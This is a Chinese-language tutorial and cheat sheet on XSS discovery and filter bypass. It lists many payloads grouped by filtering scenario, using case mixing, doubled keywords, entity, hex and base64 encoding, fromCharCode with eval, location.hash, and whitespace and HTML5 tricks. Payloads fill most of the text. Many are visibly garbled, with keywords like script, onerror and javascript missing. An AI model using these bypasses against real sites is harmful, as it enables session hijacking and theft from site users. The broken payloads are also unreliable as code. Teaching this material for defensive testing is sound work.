前言
在开始之前,我们先说一说XSS漏洞挖掘思路流程:
思路流程:
1、查找输入点与输出点的位置:
输入点好找,一般都是URL当中的参数,或者表单内容项等,而输出点一般有以下常见的几种情形:
- 输出在标签之间,例如:< >输出</ >
- 输出在属性之中,例如:<input value=\"输出\" name=\"keyword\">
- 输出在注释之中,例如://document.getElementById(\"order_select\").value=\"输出\"
2、判断过滤机制过滤了什么内容,例如:关键词(select、alert....)、<、>、\"、\'等等
3、根据过滤机制构造XSS payload,在构造过程当中应考虑到大小写、HTML实体编码、二次编码、宽字节、反斜线、换行 符、重写关键字、tab键、空格的使用等技巧
下面我们开始讲解在XSS测试当中常见的几种情形以及常用的绕过技巧。
情形 & 绕过技巧
情形1:对传入的参数未经过任何过滤直接输出
在这种情况下我们只需要构造常见的xss payload即可实现xss攻击,例如:
< >alert(/1/);</ >
<svg/ =alert(/1/);>
<img src=# =\"alert(/1/);\">
<img src=# =\" :alert(/1/)\">
<a href=# =alert(/1/)>test xss</a>
<a href=\" :alert(/test/)\"> </a>
< / =alert(/1/);></ >
情形2:< >被过滤
a、采用大小写绕过(这种仅限于未先转换为小写,而直接替换关键字的情形)
< >alert(1);</ >
<img sRc=# =alErt(1)></img>
<a href=# =Alert(1)></a>
b、双写关键词绕过(这一种仅限于将关键字替换为空的情形,而且仅仅替换一次的情形)
<scri pt>alert(/1/);</sc ript>
<img src=# onerr or=alert(1)></img>
c、利用HTML实体编码或十六进制绕过
HTML实体字符:
< >alert(/1/);</ > <script>alert(/1/);</script>
实体编码对照表:http://www.asciim.cn/
在线辅助工具:https://www.qqxiuzi.cn/bianma/zifushiti.php
十六进制:
<img src=x =alert(/1/);><img>
<img src=x = alert(/1/);></img>
在线辅助编码工具:https://evilcos.me/lab/xssor/
十进制
<img src=x =alert(/1/);><img>
<img src=x =alert(/1/); ></img>
在线辅助编码工具:https://evilcos.me/lab/xssor/
情形3:过滤了引号
a、使用“/”替换引号
< >alert(/1/);</ >
<svg/ =alert(/1/);>
< / =alert(/1/);></ >
<img src=# =alert(/1/);>
b、使用String.fromCharCode
fromCharCode可以对利用代码中的引号进行编码处理,但是需要利用eval函数结合进行使用,例如:
< >alert(‘insight-labs’)</ > —–> < >eval(String.fromCharCode(97,108,101,114,116,40,39,105,110,115,105,103,104,116,45,108,97,98,115,39,41))</ >
c、location.hash
将带有引号的内容放在location.hash中,其实这个也可以突破跨站长度的控制
< >eval(location.hash.slice(1))</ >#alert(‘a’)
情形4:过滤了空格
这种情形可以使用%0d(回车)、%0a(换行)进行替换
<img src=1 =alert(/1/);> <img%0dsrc=1%0d =alert(/1/);>
技巧拓展
1、二次编码
原来的代码: ’alert(1)’
初步使用HTML字符实体转换成十六进制为: 'alert(1) '
思路拓展(活生生的套路):
对&#进行url的编码,二次转换之后代码变成: %26%23x27alert(1)%26%23x27
2、HTML5姿势
&colon:含义是冒号(:)
&NewLine:含义是回车(Enter)
原代码如下: <a href= :alert(1)>test</a>
通过拓展的HTML5姿势尝试 变成如下所示:
<a href=javasc
ript:alert(1)>test<a>
3、 64拓展
<a href=”可控点”>
< src=”可控点”>
在这种情况下如果过滤了<>,’,”, 的话使用 64姿势绕过
<a href=\"data:text/html; 64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==\">test</a>
继续阅读与本文标签相同的文章
AI少女无法启动怎么办?无法启动游戏解决方法
AI少女人物创建界面有哪些快捷键?快捷键功能介绍
-
基础c4d教程:简单的木质吊灯建模,小白也能学会
2026-05-18栏目: 教程
-
大族激光:智能装备LION系列光纤激光切割机发布仪式在湘隆重召开
2026-05-18栏目: 教程
-
实拍上汽首个“无人”仓库,本月正式运行
2026-05-18栏目: 教程
-
自动驾驶光车以外的硬件就7万 滴滴想让你不买车就能先坐上
2026-05-18栏目: 教程
-
滴滴迎来大整顿!1000万罚单认清现实,8万司机被开除
2026-05-18栏目: 教程
